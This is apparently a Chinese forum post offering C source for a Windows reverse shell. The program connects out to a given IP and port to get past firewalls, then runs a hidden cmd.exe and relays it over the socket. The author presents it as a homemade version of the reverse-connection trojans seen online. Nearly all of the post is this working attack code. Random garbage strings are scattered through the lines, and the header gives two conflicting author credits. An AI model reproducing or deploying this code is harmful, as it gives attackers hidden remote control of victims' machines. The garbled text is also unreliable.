Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 S$Fq1   
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/* ============================== HDT-f9%}<4  
Rebound port in Windows NT 1U~yu&  
By wind,2006/7 o|7 h  
===============================*/ f)!7/+9>  
#include Y!lc/[8  
#include J1{ucFa  
Af7&;8pM  
#pragma comment(lib,"wsock32.lib") PU^@BZ_m  
wv_<be[?*  
void OutputShell(); U Zc%XZ`"V  
SOCKET sClient; 5mB'\xGO2  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; nW`EBs  
+a((,wAN2  
void main(int argc,char **argv) ]*JH~.p  
{ 6i_dL|c  
WSADATA stWsaData; d]w%zo,yr  
int nRet; *'nZ|r v  
SOCKADDR_IN stSaiClient,stSaiServer; h5.AM?*TNd  
SjB#"A5  
if(argc != 3) )m[dfeqd +  
{ 5WG:m'$$  
printf("Useage:\n\rRebound DestIP DestPort\n"); Bwg\_:vq
 
return; [u}2xsSx  
} 4m3pF0k  
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WSAStartup(MAKEWORD(2,2),&stWsaData); &u7oa  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [*AWCV  
y<A%&  
stSaiClient.sin_family = AF_INET; E5F0C]hq  
stSaiClient.sin_port = htons(0); ;IX*4E'4
s  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); '`fz|.|cbB  
UAq%Y8KA  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !_SIq`5]@  
{ 1I -LGe[Q  
printf("Bind Socket Failed!\n"); \w+a Q?e_  
return; |8YP8o  
} !wZ9P  
ccu13Kr>E  
stSaiServer.sin_family = AF_INET; S|?Ht61k  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #cD20t
 
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); EU"J'?  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {-?8r>  
{ -L%2*`-L$  
printf("Connect Error!"); ^HasT4M+x  
return; q=40l  
} lSk<euCYs  
OutputShell(); hpV
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} 5};$>47m  
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void OutputShell() #RA3 T[A  
{ }475c{  
char szBuff[1024]; }lzN)e  
SECURITY_ATTRIBUTES stSecurityAttributes; q"Z!}^{  
OSVERSIONINFO stOsversionInfo; >&3ATH;&(  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; j |tu|Q  
STARTUPINFO stStartupInfo; 'o*:~n  
char *szShell; [Ifhh2  
PROCESS_INFORMATION stProcessInformation; q T pvz  
unsigned long lBytesRead; }&mFpc  
X&qa3C})  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 66+y@l1  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); njy^<7;  
stSecurityAttributes.lpSecurityDescriptor = 0; &PAgab2$  
stSecurityAttributes.bInheritHandle = TRUE; BOQeP/>  
OLdD3OI  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); C,!}WB@VME  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6^DsI  
k<M~
co;L  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); P;dp>jL  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s;0eD5b>x  
stStartupInfo.wShowWindow = SW_HIDE; dWI.t1`i  
stStartupInfo.hStdInput = hReadPipe; CY4_=  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; h
R$lX8  
5w#*JK  
GetVersionEx(&stOsversionInfo); BU="BB/[  
O&:0mpRZ  
switch(stOsversionInfo.dwPlatformId) ,ZYj8^gF  
{ (&6C,O~n^.  
case 1: WR*|k
h  
szShell = "command.com"; }bv0~}G4  
break; r $du-U  
default: .=>T yq  
szShell = "cmd.exe"; 1@ j>2>i  
break; K+` Vn  
} p.2>
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49  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1]@}+H  
4JHQ^i-aY  
send(sClient,szMsg,77,0); :{9|/a  
while(1) ~?}/L'q!b  
{ ?CS jn  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); I_yIVw;  
if(lBytesRead) !40t:+I  
{ c=2e?  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >5Zpx8W  
send(sClient,szBuff,lBytesRead,0); vtFA#})~  
} Y\T*8\h_[  
else %f;(  
{ =3=KoH/'  
lBytesRead=recv(sClient,szBuff,1024,0); F_~-o,\  
if(lBytesRead<=0) break; Q
;P~'  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); lq@Vb{Z  
} s8|#sHT  
} &1Fcwj  
04;y%~,}U/  
return; JMOP/]%D  
}